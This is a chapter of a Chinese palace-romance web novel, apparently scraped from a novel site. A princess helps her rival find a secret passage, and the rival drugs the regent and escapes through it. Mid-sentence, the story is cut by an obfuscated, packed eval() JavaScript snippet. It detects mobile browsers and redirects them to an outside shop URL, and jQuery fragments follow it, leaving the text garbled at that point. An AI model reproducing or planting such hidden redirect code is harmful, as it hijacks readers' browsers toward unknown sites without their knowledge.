文趣网 > 都市小说 > 被弃帝女覆九重 > 166. 密道
    玫兮冷眼看了这二人一眼,就自觉地在一名随侍地带领下,去往早已给她安排好的殿中。

    果如她所料,肖真将最正中的揽岳殿留给辰时,她住东侧的观澜殿,西侧的听松殿则给了青莲。

    从下车辇的那一刻,到现在人在观澜殿中喝茶之时,这一路看见的景象,渐渐勾起了她心底深处的记忆。

    在她还小的时候,为数不多来此的几次,也无一例外住的都是观澜殿。

    那时父皇总是带着她去外面玩,她特别喜欢在湖上乘船,也喜欢坐在父皇身上靠着湖边大树休息……待到在外面野了一天,晒成一只黑猴子去见母后时,父皇总是会被母后温柔地埋怨,“女孩子晒黑了可就变丑了,丑丫头可没人要……”

    每每于此,父皇都会搂着脏兮兮的自己哈哈大笑,“薇儿生的女儿,再丑也有着旁人难及的貌美风华。况且,朕的掌珠,大晟公主,所有人都抢着要。”

    “公主殿下”,门口一名宫女的声音,将她从美好的回忆中拉回。

    她赶紧收拢情绪,快速眨眼将眼中的泪水压回,“什么事?”

    “摄政王遣人来报,公主您饮食精细,因此特意给您安排了小厨房,专人伺候您独自用膳”,宫女不敢抬头,轻声答道。

    玫兮听后并未有何反应,抬手让她退下。

    她露出一丝苦笑,这不早就意料到了吗,他怎么可能想要她参合到他们的二人空间中。如今还特意过来知会一声,已经是很客气了。从前那么多事她都忍下去了,怎么可能因为这点儿小事大动干戈。

    这边观澜殿冷冷清清,那边听松殿却一片热闹。满桌子全是青莲爱吃的,就连酒水都是她一直嚷嚷着很想念的云顶峰桑葚酒。

    看着这一切,她扭头批评蒲草,“怎么这桌上没有一个摄政王爱吃的菜呢?还有,我前两天不是才和你说过,摄政王更喜欢荔枝酒。”

    蒲草连忙下跪,“请公主恕罪,摄政王早前吩咐一切按照您的喜好来,所以……”

    “没事,你别说她,这都是我的意思”,辰时立刻让她起来,“我哪儿有什么爱吃不爱吃、爱喝不爱喝的,只要你喜欢,我就喜欢。”

    蒲草悄悄起身,继续无言服侍两个主子用饭。

    青莲不动声色看见她微微泛红的脸颊,故意不服气地埋怨,“得得得,这丫头我也使唤不动了,你今儿就把她带回你的揽岳殿去吧。”

    辰时笑着摇头,话题一转,“桑葚酒荔枝酒的,对我来说没什么区别。只是从前你和翊斐对饮时,你总爱点荔枝酒,所以我那日便好奇地说了一嘴,改日要和你一道尝尝。没想到你一直记在心里,我很开心。”

    青莲浅浅回忆了一下,哈哈大笑道,“和他喝酒,我从来都是往贵的点。他那么有钱,不点最贵的,就太对不起自己了。至于最后点的是荔枝酒还是桑葚酒,吃的是鸡肉还是鸭肉,我才不记得呢。”

    此话一出,不仅把辰时逗乐了,就连旁边的肖真、肖诚和蒲草都抿着嘴努力不让自己笑出声来。

    辰时有些无奈地摇头,夹起面前的一片清蒸鲈鱼送入口中。

    待用完饭后,二人坐在亭台中欣赏着夜色下的湖光山色。他将心爱的女子搂入怀中,静静地感受着她散发出来的淡淡芬芳。

    “你曾说过,你娘一直唤你青儿是吗”?辰时突然打破这一片宁静,柔声问道。

    青莲脑中百转千回,但也只得点头“嗯”了一声。

    “那我从现在开始,也叫你青儿,好不好”,他声音中有一丝忐忑,但却又透着强势的坚持,“我知道无人能取代你娘在你心中的地位,可我还是想走入你内心深处,成为你生命中最重要的那个人。”

    青莲有些犹豫,坐起身来看着他的双眼,“青儿这个名字,从来就只有娘亲一人叫过。每次幻听到这两个字,我都会很难过地想起娘。”

    “我明白的,我不是想让你难过伤心。我只是想让你知道,从今往后,这世上有一个人会和你娘一样,拼尽性命疼你,倾尽一生守护你”,拉着她冰凉的手,辰时目光专注而深情。

    青莲低头沉思了一会儿,最终还是轻轻点了点头。

    辰时激动地用力将她搂入怀中,仿佛害怕一松手她就会消失不见。

    “青儿,你知道吗?今日在听松殿用膳时,我才觉察到,这世上只有你能让我开怀大笑。你不在晟国的日子里,虽然我登上高位、手握重权,但这些年却没有一个人、一件事能让我如此笑过。我知道,你的心还没有完全收回来。但我愿意等,只要你让我一直在你身边,我就相信总有一天,我们能回到从前的样子。”

    青莲静静地听着他深情地告白,面上温顺安静,心底却只有一片荒芜。

    入夜,青莲辗转反侧。到了亥时,听见有人悄悄潜入听松殿。

    她立刻起身,坐在床沿,“终于来了,还真担心出了什么岔子。”

    宫女抬起头来,透过窗外的月色,玫兮那张绝美的脸展现在她眼前,“观澜殿和听松殿,可不似幽芳宫和镜月轩隔得那般远,再加上有肖真的缜密安排,出岔子的几率太小了。”

    青莲点点头,但心里却总有一块石头悬着,怎么也落不了地。但具体在担心什么,她也说不上来。索性将这放在一边,问道,“你可找到密道了?”

    原来就在她和辰时在亭台观赏夜景时,玫兮就悄悄潜入揽岳殿,循着幼时的记忆,摸索那通向外间的暗道的开关。

    好在皇天不负苦心人,此行虽然凶险,但却不负众望,查明并验证了开关和通道之门。

    青莲压制住内心的激动问,“你自己可找到脱身之法?”

    玫兮微微一笑,从袖中拿出一个小卷轴递到她面前,“这是我回去后,凭着记忆画下来的,画布使上了做旧手法,你大可以做出一副从这行宫某处刚翻出来的假象。”

    她接过卷轴,走到窗前借着月光仔细查看上面的一笔一画。良久后才回身看向这位似乎什么都不懂,却又时不时让他另眼相看的公主,“你竟然还精通做旧之术?是你父皇生前要你学的?”

    玫兮露出一丝苦笑,“父皇哪里会让我学这等

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972144|209845||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东西,他从来都只想让我无忧无虑地过快乐日子。这些……是母后亲手教我的……”

    青莲不再出声,默默将卷轴卷起。

    “青莲,你不觉得,这世上有很多事情都很奇妙吗”?玫兮盯着她手里的卷轴,突然感慨道。

    青莲愣住,不知如何回答。

    “从前,母后仿照你母亲的字迹,写下了那所谓的叛变逆信。最终导致你母亲失宠、命绝冷宫。可这么多年过去了,我却用母后亲手相传的这番技艺,为你找到一条逃生之路。”

    玫兮喃喃道,与其说是对青莲、还不如说是对她母后的在天之灵感慨。

    青莲双手不自觉用力,手里的卷轴变得皱痕累累。

    门口有人敲了两声,提醒来人该离去了。

    玫兮转身走了两步,停下来又转身看向仍在窗边发呆的青莲,“对于你,我是真认输了。试想若你我互换,你早就被我碎尸万段不说,我也肯定早就回归他怀抱里。天底下最有权势、最强大的男人,心甘情愿地等着你完全接受他。天底下,有几个女人能坚持住。”

    青莲抬眼看着她,嘴角露出一丝轻笑,“不逼迫心爱女子,难道不是男人应该做的吗?还是因为他所有权势、也最强大,所以在你心中,她就可以为所欲为?”

    玫兮整个人像是被定住了一瞬,随后反身悄悄离去,正如她悄悄地来。

    第二日一早,玫兮就因身子不适被辰时秘密安排回宫。本来也没有必要如此偷偷摸摸,但辰时却多少还是有些忌惮朝中那帮文官的碎嘴,索性就没声张开来。毕竟,他和青莲现在的身份,若没有玫兮当幌子,还确实不便单独在这住下来。

    二人在这行宫一住就是半个月,在朝臣的催促声中,辰时终于决定三日后返回晟宫。虽然依依不舍,但青莲也能接受,只是装作愈发舍不得离开。

    第一日一切如常。

    第二日晚膳时分,一切也似乎如常。只不过在无人察觉时,青莲眼角扫见辰时满饮下第一杯酒时,嘴角微微上扬了半分。

    当晚丑时,整个行宫陷入一片寂静,只有偶尔经过的侍卫做着常规巡逻。

    一身宫女扮相的青莲,借助着夜色和自己的修为,毫不费力地潜入揽岳殿。

    整个殿中一片静悄悄。她轻轻走入卧室后,隐隐看见躺在屏风后大床上辰时的身影。好在他历来不喜人服侍在侧,这也省了她不少力气。

    听着他平稳的呼吸声,青莲一直砰砰跳的心慢慢恢复了平静。回忆着卷轴上早已铭记于心内容,她在黑暗中摸索着密道开关。终于,一盏石灯在她用力旋转下转动,屏风后床侧的一排柜子应声移动,露出一条久远的密道。

    她立刻跑过去,确认床上之人没有要醒的迹象后,就要进入密道。

    但恰在此时,辰时却突然翻了个身,嘴里喃喃了一声“青儿”后便再无反应。

    她胸口剧烈地起伏,连瞳孔都不自觉地收缩了一下,最终下定决心,义无反顾地消失在揽岳殿中。身后的密道之门缓缓合上,她这才放下心来,继续向前。